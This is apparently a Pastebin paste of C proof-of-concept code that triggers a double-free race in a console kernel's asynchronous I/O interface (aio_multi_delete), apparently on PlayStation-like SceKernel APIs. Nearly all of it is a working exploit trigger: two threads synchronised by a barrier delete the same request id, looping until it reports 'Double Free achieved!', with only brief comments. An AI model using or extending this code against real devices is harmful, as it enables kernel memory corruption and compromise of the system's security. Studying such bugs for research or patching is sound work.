Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // BUG: aio_multi_delete() improper locking leads to Double Free
- // SceAIO submit commands
- #define SCE_KERNEL_AIO_CMD_READ 0x001
- #define SCE_KERNEL_AIO_CMD_WRITE 0x002
- #define SCE_KERNEL_AIO_CMD_MASK 0xfff
- // SceAIO submit command flags
- #define SCE_KERNEL_AIO_CMD_MULTI 0x1000
- #define SCE_KERNEL_AIO_PRIORITY_LOW 1
- #define SCE_KERNEL_AIO_PRIORITY_MID 2
- #define SCE_KERNEL_AIO_PRIORITY_HIGH 3
- typedef struct {
- off_t offset;
- size_t nbyte;
- void *buf;
- struct SceKernelAioResult *result;
- int fd;
- } SceKernelAioRWRequest;
- typedef int SceKernelAioSubmitId;
- int aio_submit_cmd(
- u_int cmd,
- SceKernelAioRWRequest reqs[],
- u_int num_reqs,
- u_int prio,
- SceKernelAioSubmitId ids[]
- );
- // wait for all (AND) or atleast one (OR) to finish
- #define SCE_KERNEL_AIO_WAIT_AND 0x01
- #define SCE_KERNEL_AIO_WAIT_OR 0x02
- int aio_multi_wait(
- SceKernelAioSubmitId ids[],
- u_int num_ids,
- int sce_errors[],
- // SCE_KERNEL_AIO_WAIT_*
- uint32_t mode,
- useconds_t *usec
- );
- int aio_multi_delete(
- SceKernelAioSubmitId ids[],
- u_int num_ids,
- int sce_errors[]
- );
- const int num_reqs = 3;
- const int which_req = 0;
- const int race_errs[2];
- pthread_barrier_t barrier;
- void *race_func(void *arg) {
- int *id = (int *)arg;
- pthread_barrier_wait(&barrier);
- aio_multi_delete(id, 1, &race_errs[1]);
- return NULL;
- }
- int main(void) {
- SceKernelAioRWRequest reqs[num_reqs] = {0};
- int ids[num_reqs] = {0};
- int sce_errs[num_reqs] = {0};
- // bare minimum initialization to succeed in calling aio_submit_cmd()
- for (int i = 0; i < num_reqs; i++) {
- reqs[i].fd = -1;
- }
- pthread_barrier_init(&barrier, NULL, 2);
- for (int i = 0; i < 100; i++) {
- // command and priority don't matter but the MULTI flag is required
- aio_submit_cmd(
- SCE_KERNEL_AIO_CMD_WRITE | SCE_KERNEL_AIO_CMD_MULTI,
- reqs,
- num_reqs,
- SCE_KERNEL_AIO_PRIORITY_HIGH,
- ids
- );
- // you can't delete any request that is already being processed by a
- // SceFsstAIO worker thread
- //
- // we just wait on all of them instead of polling and checking whether
- // a request is being processed. polling is also error-prone since the
- // result can become out of date
- aio_multi_wait(ids, num_reqs, sce_errs, SCE_KERNEL_AIO_WAIT_AND, 0);
- pthread_t race_thread;
- pthread_create(&race_thread, NULL, race_func, &ids[which_req]);
- pthread_barrier_wait(&barrier);
- // double delete request which_req
- aio_multi_delete(&ids[which_req], 1, &race_errs[0]);
- pthread_join(race_thread, NULL);
- // either both are 0 or one of the errors is SCE_KERNEL_ERROR_ESRCH
- // (0x80020003) and the other is 0. you'll never get double
- // SCE_KERNEL_ERROR_ESRCH
- if (race_errs[0] == race_errs[1]) {
- printf("Double Free achieved!\n");
- return 0;
- }
- }
- printf("Double Free failed\n");
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement